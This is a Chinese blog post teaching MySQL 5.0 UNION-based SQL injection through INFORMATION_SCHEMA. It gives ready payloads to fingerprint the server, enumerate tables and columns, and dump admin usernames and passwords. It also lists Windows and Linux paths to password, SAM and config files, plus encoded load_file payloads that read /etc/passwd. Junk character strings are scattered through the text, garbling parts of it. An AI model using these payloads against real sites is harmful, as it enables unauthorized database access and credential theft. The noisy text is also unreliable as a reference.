mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

/ t, @; A7 U3 |# g- `
0 x& g4 D$ n" I- i
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
( @( w. O9 Y) L$ |: h: x中记录了Mysql中所有
. N. ~- o3 D/ D8 Y. w存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
/ i# h7 I3 A5 ]* a0 c$ u明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
' J# D$ _- G; k8 h6 O, t$ b|—字段：SCHEMA_NAME ->数据库名称
4 }9 k  q, M, h
|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
: r8 t/ Q$ S4 L7 }% |8 T|—字段：TABLE_NAME ->存储表的表名

$ ^5 B' o! T7 I, n# b( b, ~. R|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
$ o9 B- L% w' z. a, a( c( d+ J/ E|—字段：TABLE_NAME ->存储所属表的名称

6 k3 H6 B% u2 G# L# A. \|—字段：COLUMN_NAME ->该字段的名称

#########################################################################
& k0 {7 v; T  b& v/ S  [4 G##
2 y- A: [0 \2 l% \1 R$ d
0×001 获取系统信息:
/ l: f1 O% }# G
8 p7 E4 S6 @' v# Uunion select 1,2,3,4,5,concat
1 n* R* p  K. `/ }4 s(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
3 d- {$ k& [; D0 O/ o4 F4 S(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
6 y# o( B( K/ i/ s5 G
/*

% K4 U! U7 Q' s& H1 N@@global.version_compile_os 获取系统版本
: m$ f$ y& V$ L4 ~
$ G4 I- k0 R; }+ J+ S9 v@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
* |; M9 n7 E, ]8 f" d0 M- e1 K
*/
# O' Q- S& p) h, a
9 l. p( H) h1 b% ^+ c# k3 w- k######################################################################

0×002 获取表名

/ A7 w9 L; E$ s4 n; c  Eunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

/*
2 |6 s! W. e% L
0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
) l# ~4 o, h7 H" S$ `0 m; l& {) X1 z
% A1 i" X& J, _7 L*/

######################################################################
. e# |2 b! V" }/ l" I  y+ m
0×003 获取字段
7 c! A8 O1 O/ K8 J9 y
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
) t( U6 I9 q3 S0 d; o, iinformation_schema.columns where table_name=0x61646d696e and
8 M. I) x* H! I
) g  V  H0 R4 l/ A9 M) s
table_schema=0x67617264656e limit 1 /*
" k- h) w) `' O- K
/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

- t# H5 Y& L: H7 T0 r0x61646d696e ->选择一个表

0x67617264656e ->数据库名

*/

#####################################################################
1 N7 u1 H/ l) ~  N& A
0×004 获取数据

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
+ A7 G3 n. @" M% b- C  i8 n& n
7 {0 Q' l$ U  [. c/ Kunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
, ~9 b0 s# O+ N6 w/ m+ A(adpassword),6,7,8 from admin
0 p8 }; R  Y) V0 [: F! W9 `9 e
/*

" t% ^0 ?! p  r3 n" }0 z0x3c62723e 换行符号HEX编码
: }, D1 o  }1 p2 v2 [6 q0 J. T3 v% r4 l
! C+ l5 s( m1 w% b& @0 Bgroup_concat 同时获得该字段所有数据

*/




6 h( u1 U) a3 P0 X- G" m7 {
; n, E+ n6 r1 m* C! M" V顺便添加一些mysql注入时非常有用的一些东西

简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名
" {+ R" ]- N; @+ |4 b, }2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
5 f9 i( t/ q$ S& `& A( o6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
% [4 N/ P% _( w& a/ \. u# h9@basedir    MYSQL 安装路径
4 f, Q6 J& N. T0 @% S7 H, P10@version_compile_os   操作系统  Windows Server 2003,
- Q' z  F2 ?& j' D# M3 y8 t1 c0 ^收集的一些路径：
WINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
5 d! M$ ~4 F* n$ R, ~c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
& o$ F; q" Q# Gc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
6 h+ N- f8 D5 \3 G# M5 y" Nc:\Program Files\RhinoSoft.com\ServUDaemon.exe
9 T/ ^! }  P! Q# a4 S, rC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
% o; X! j9 a, n, j; S& i6 m; k) @//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
0 Y) Y: |1 v' S7 @* h/ }4 f5 o; {c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
; V: j1 G6 |8 w6 t' u& |

5 B4 [) j$ a1 M# Dc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
+ a) B5 F% e$ a8 BC:\Program Files\mysql\my.ini
. u. j0 q. o  }c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
* g& c+ d, O+ L/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
9 I/ ?* g- Y. m2 b/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
) {( r" f7 N. R9 W, `; P" T% O# Q- g/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
* [$ c+ s  Y! e% [/etc/redhat-release //系统版本
2 J1 \0 Y1 ~5 i$ ?1 R4 |( |/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
# z# b9 V9 S: Q2 z$ c* f/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
- Q% D6 Z8 i" J/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
$ Q3 R6 W# ?  t/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
2 D+ v: a9 U- i( q( |: c/ l0 O8 K/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
' x4 ]9 ]* j$ n* h* b% a/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
8 r% n5 r  a8 d! E  j; M/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
, c' v9 |% N' ]3 `" `5 v- ~/etc/sysconfig/iptables 查看防火墙策略
; b6 r' P6 P9 G5 T4 O* Cload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
: w/ L& Y/ J. C, D+ @- V9 S+ ^9 @) breplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
/ X, g4 l7 U/ _0 Greplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
) W. J( G+ O- j* \  ]5 E0 e$ ]0 C/ J上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
/ D4 ~) w% e/ [# o
( @" w5 B9 |  n7 }6 B/ S